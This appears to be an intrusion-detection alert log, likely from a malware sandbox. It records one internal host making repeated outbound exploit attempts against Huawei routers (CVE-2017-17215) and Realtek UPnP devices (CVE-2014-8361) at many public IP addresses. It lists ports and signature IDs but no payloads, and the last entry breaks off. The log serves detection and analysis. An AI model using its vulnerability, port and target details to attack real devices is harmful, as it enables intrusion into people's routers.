ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.156.29

Timestamp:	192.168.2.23156.225.156.2947620372152835222 05/27/22-01:59:25.449564
SID:	2835222
Source Port:	47620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.74.232

Timestamp:	192.168.2.23156.241.74.23242836528692027339 05/27/22-01:59:35.587913
SID:	2027339
Source Port:	42836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.18.63

Timestamp:	192.168.2.23156.224.18.6349984528692027339 05/27/22-02:01:58.907491
SID:	2027339
Source Port:	49984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.120.114

Timestamp:	192.168.2.23156.241.120.11460550528692027339 05/27/22-01:59:30.128446
SID:	2027339
Source Port:	60550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.61.255

Timestamp:	192.168.2.23156.238.61.25560542372152835222 05/27/22-02:00:06.879400
SID:	2835222
Source Port:	60542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.13.223

Timestamp:	192.168.2.23156.241.13.22357166372152835222 05/27/22-01:59:25.691089
SID:	2835222
Source Port:	57166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.31.130

Timestamp:	192.168.2.23156.224.31.13038708372152835222 05/27/22-02:01:40.026999
SID:	2835222
Source Port:	38708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.59.122

Timestamp:	192.168.2.23156.254.59.12240468372152835222 05/27/22-02:02:18.907439
SID:	2835222
Source Port:	40468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.105.74

Timestamp:	192.168.2.23156.240.105.7447002372152835222 05/27/22-01:59:55.467525
SID:	2835222
Source Port:	47002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.76.48

Timestamp:	192.168.2.23156.244.76.4854348372152835222 05/27/22-01:59:30.483658
SID:	2835222
Source Port:	54348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.243.250

Timestamp:	192.168.2.23156.227.243.25060450372152835222 05/27/22-01:59:52.671121
SID:	2835222
Source Port:	60450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.18.158

Timestamp:	192.168.2.23156.224.18.15858570528692027339 05/27/22-02:01:55.533063
SID:	2027339
Source Port:	58570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.93.225.76

Timestamp:	192.168.2.23156.93.225.7634494528692027339 05/27/22-02:01:24.598749
SID:	2027339
Source Port:	34494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.67

Timestamp:	192.168.2.23156.235.102.6758594372152835222 05/27/22-02:01:55.776959
SID:	2835222
Source Port:	58594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.118.194

Timestamp:	192.168.2.23156.250.118.19436896372152835222 05/27/22-02:01:32.653094
SID:	2835222
Source Port:	36896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.113.241

Timestamp:	192.168.2.23156.250.113.24148532528692027339 05/27/22-01:59:55.530262
SID:	2027339
Source Port:	48532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.141.245

Timestamp:	192.168.2.23156.225.141.24554112528692027339 05/27/22-02:02:13.388905
SID:	2027339
Source Port:	54112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.135.131

Timestamp:	192.168.2.23156.225.135.13156976372152835222 05/27/22-02:01:37.392743
SID:	2835222
Source Port:	56976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.82.45

Timestamp:	192.168.2.23156.241.82.4556192372152835222 05/27/22-02:00:24.990098
SID:	2835222
Source Port:	56192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.65.197

Timestamp:	192.168.2.23156.254.65.19744380528692027339 05/27/22-02:00:38.336694
SID:	2027339
Source Port:	44380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.14.5

Timestamp:	192.168.2.23156.224.14.555720372152835222 05/27/22-02:00:57.236114
SID:	2835222
Source Port:	55720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.19.201

Timestamp:	192.168.2.23156.224.19.20154792372152835222 05/27/22-02:01:37.559651
SID:	2835222
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.238.45.118

Timestamp:	192.168.2.23156.238.45.11849710528692027339 05/27/22-02:01:58.446963
SID:	2027339
Source Port:	49710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.112.212

Timestamp:	192.168.2.23156.241.112.21255086528692027339 05/27/22-02:01:17.675300
SID:	2027339
Source Port:	55086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.239.155.158

Timestamp:	192.168.2.23156.239.155.15860352528692027339 05/27/22-02:01:34.739338
SID:	2027339
Source Port:	60352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.50.108

Timestamp:	192.168.2.23156.254.50.10858232372152835222 05/27/22-02:00:50.658684
SID:	2835222
Source Port:	58232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.127.61

Timestamp:	192.168.2.23156.241.127.6145686372152835222 05/27/22-02:02:36.362254
SID:	2835222
Source Port:	45686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.54.234

Timestamp:	192.168.2.23197.234.54.23435620372152835222 05/27/22-02:01:53.756151
SID:	2835222
Source Port:	35620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.35.89

Timestamp:	192.168.2.23156.254.35.8937514528692027339 05/27/22-01:59:46.669934
SID:	2027339
Source Port:	37514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.96.58

Timestamp:	192.168.2.23156.226.96.5847142528692027339 05/27/22-02:00:12.323098
SID:	2027339
Source Port:	47142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.69.89

Timestamp:	192.168.2.23156.254.69.8942062528692027339 05/27/22-02:00:12.629599
SID:	2027339
Source Port:	42062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.125.35

Timestamp:	192.168.2.23156.244.125.3553562528692027339 05/27/22-02:02:12.185554
SID:	2027339
Source Port:	53562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.45.57.193

Timestamp:	192.168.2.23197.45.57.19353650528692027339 05/27/22-01:59:34.187417
SID:	2027339
Source Port:	53650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.31.7

Timestamp:	192.168.2.23156.226.31.736814528692027339 05/27/22-02:00:04.625128
SID:	2027339
Source Port:	36814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.91.72

Timestamp:	192.168.2.2341.0.91.7233832372152835222 05/27/22-02:01:14.089925
SID:	2835222
Source Port:	33832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.25.212

Timestamp:	192.168.2.23156.224.25.21249680372152835222 05/27/22-01:59:45.946971
SID:	2835222
Source Port:	49680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.116.40

Timestamp:	192.168.2.23156.241.116.4058558528692027339 05/27/22-01:59:29.034503
SID:	2027339
Source Port:	58558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.81.81

Timestamp:	192.168.2.23156.254.81.8133946528692027339 05/27/22-02:01:52.714927
SID:	2027339
Source Port:	33946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.107.132

Timestamp:	192.168.2.23156.244.107.13236760528692027339 05/27/22-02:02:28.465171
SID:	2027339
Source Port:	36760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.153.88

Timestamp:	192.168.2.23156.225.153.8832964372152835222 05/27/22-02:00:48.183583
SID:	2835222
Source Port:	32964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.87.162

Timestamp:	192.168.2.23156.250.87.16260742372152835222 05/27/22-02:01:29.143117
SID:	2835222
Source Port:	60742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.67.47

Timestamp:	192.168.2.23156.254.67.4747722528692027339 05/27/22-02:01:48.702980
SID:	2027339
Source Port:	47722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.52.141

Timestamp:	192.168.2.23156.226.52.14156302372152835222 05/27/22-02:02:25.458957
SID:	2835222
Source Port:	56302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.14.181

Timestamp:	192.168.2.23156.238.14.18136824372152835222 05/27/22-01:59:48.422922
SID:	2835222
Source Port:	36824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.81.131

Timestamp:	192.168.2.23156.241.81.13142528528692027339 05/27/22-02:00:19.903787
SID:	2027339
Source Port:	42528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.105.221

Timestamp:	192.168.2.23156.241.105.22144514528692027339 05/27/22-02:02:03.194952
SID:	2027339
Source Port:	44514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.29.201

Timestamp:	192.168.2.23156.226.29.20157660528692027339 05/27/22-01:59:44.580181
SID:	2027339
Source Port:	57660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.227.244.175

Timestamp:	192.168.2.23156.227.244.17551628528692027339 05/27/22-02:01:42.583313
SID:	2027339
Source Port:	51628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.88.34

Timestamp:	192.168.2.23156.226.88.3459440372152835222 05/27/22-02:02:09.686196
SID:	2835222
Source Port:	59440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.190.37

Timestamp:	192.168.2.23156.241.190.3750172528692027339 05/27/22-02:02:36.574901
SID:	2027339
Source Port:	50172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.239.153.199

Timestamp:	192.168.2.23156.239.153.19934744372152835222 05/27/22-02:01:40.317063
SID:	2835222
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.127.91

Timestamp:	192.168.2.23156.241.127.9140630528692027339 05/27/22-01:59:54.035261
SID:	2027339
Source Port:	40630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.98.72

Timestamp:	192.168.2.23156.241.98.7251462528692027339 05/27/22-01:59:21.813745
SID:	2027339
Source Port:	51462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.153.186

Timestamp:	192.168.2.23156.225.153.18633936528692027339 05/27/22-01:59:48.908628
SID:	2027339
Source Port:	33936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.116.231

Timestamp:	192.168.2.23156.250.116.23135246528692027339 05/27/22-01:59:34.093499
SID:	2027339
Source Port:	35246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.80.79

Timestamp:	192.168.2.23156.241.80.7957884528692027339 05/27/22-01:59:26.783831
SID:	2027339
Source Port:	57884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.112.65

Timestamp:	192.168.2.23156.244.112.6551620528692027339 05/27/22-02:01:25.710157
SID:	2027339
Source Port:	51620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.89.93

Timestamp:	192.168.2.23156.241.89.9343706372152835222 05/27/22-02:00:47.111497
SID:	2835222
Source Port:	43706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.31.5

Timestamp:	192.168.2.23156.224.31.547442528692027339 05/27/22-02:00:35.242625
SID:	2027339
Source Port:	47442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.70.249

Timestamp:	192.168.2.23156.226.70.24942716528692027339 05/27/22-01:59:53.856884
SID:	2027339
Source Port:	42716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.247.17.13

Timestamp:	192.168.2.23156.247.17.1352278528692027339 05/27/22-02:01:48.302868
SID:	2027339
Source Port:	52278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.232.93.177

Timestamp:	192.168.2.23156.232.93.17745374372152835222 05/27/22-02:02:07.293983
SID:	2835222
Source Port:	45374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.247.29.187

Timestamp:	192.168.2.23156.247.29.18736600528692027339 05/27/22-01:59:53.822230
SID:	2027339
Source Port:	36600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.224.24.148

Timestamp:	192.168.2.23156.224.24.14835890528692027339 05/27/22-01:59:50.382347
SID:	2027339
Source Port:	35890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.35.230

Timestamp:	192.168.2.23156.254.35.23056742528692027339 05/27/22-02:01:03.600419
SID:	2027339
Source Port:	56742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.37.142

Timestamp:	192.168.2.23156.254.37.14247344528692027339 05/27/22-02:02:13.439677
SID:	2027339
Source Port:	47344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.121.225

Timestamp:	192.168.2.23156.250.121.22539366372152835222 05/27/22-02:00:17.040887
SID:	2835222
Source Port:	39366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.50.152

Timestamp:	192.168.2.23156.254.50.15249426528692027339 05/27/22-02:01:48.450738
SID:	2027339
Source Port:	49426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.100.56

Timestamp:	192.168.2.23156.241.100.5639466372152835222 05/27/22-02:02:34.118222
SID:	2835222
Source Port:	39466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.99.31

Timestamp:	192.168.2.23156.241.99.3154700528692027339 05/27/22-02:00:45.888306
SID:	2027339
Source Port:	54700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.241.144

Timestamp:	192.168.2.23156.227.241.14443790372152835222 05/27/22-02:01:20.597061
SID:	2835222
Source Port:	43790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.245.60.194

Timestamp:	192.168.2.23156.245.60.19449230528692027339 05/27/22-01:59:53.879961
SID:	2027339
Source Port:	49230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.52.29

Timestamp:	192.168.2.23156.226.52.2940170372152835222 05/27/22-02:00:30.224310
SID:	2835222
Source Port:	40170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.84.145

Timestamp:	192.168.2.23156.254.84.14548152528692027339 05/27/22-01:59:46.435882
SID:	2027339
Source Port:	48152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.13.128

Timestamp:	192.168.2.23156.241.13.12854338372152835222 05/27/22-02:01:02.755463
SID:	2835222
Source Port:	54338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.127.189

Timestamp:	192.168.2.23156.244.127.18958688528692027339 05/27/22-01:59:39.168212
SID:	2027339
Source Port:	58688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.112.57

Timestamp:	192.168.2.23156.250.112.5755344528692027339 05/27/22-02:01:52.185529
SID:	2027339
Source Port:	55344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.97.103

Timestamp:	192.168.2.23156.226.97.10336198372152835222 05/27/22-02:00:26.622734
SID:	2835222
Source Port:	36198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.15.165

Timestamp:	192.168.2.23156.241.15.16544112528692027339 05/27/22-02:00:54.893214
SID:	2027339
Source Port:	44112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.61.87

Timestamp:	192.168.2.23156.245.61.8748018372152835222 05/27/22-02:01:23.388746
SID:	2835222
Source Port:	48018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.93.213

Timestamp:	192.168.2.23156.241.93.21360054372152835222 05/27/22-02:00:14.826926
SID:	2835222
Source Port:	60054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.26.112

Timestamp:	192.168.2.23156.247.26.11238614372152835222 05/27/22-02:02:13.200849
SID:	2835222
Source Port:	38614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.33.6

Timestamp:	192.168.2.23156.254.33.641740372152835222 05/27/22-02:01:10.846359
SID:	2835222
Source Port:	41740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.141.159

Timestamp:	192.168.2.23156.225.141.15953462528692027339 05/27/22-01:59:53.961489
SID:	2027339
Source Port:	53462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.68.13

Timestamp:	192.168.2.23156.244.68.1356646372152835222 05/27/22-02:00:42.916761
SID:	2835222
Source Port:	56646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.247.20.245

Timestamp:	192.168.2.23156.247.20.24558908528692027339 05/27/22-02:00:15.447822
SID:	2027339
Source Port:	58908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.20.62

Timestamp:	192.168.2.23156.230.20.6233088372152835222 05/27/22-02:01:26.851094
SID:	2835222
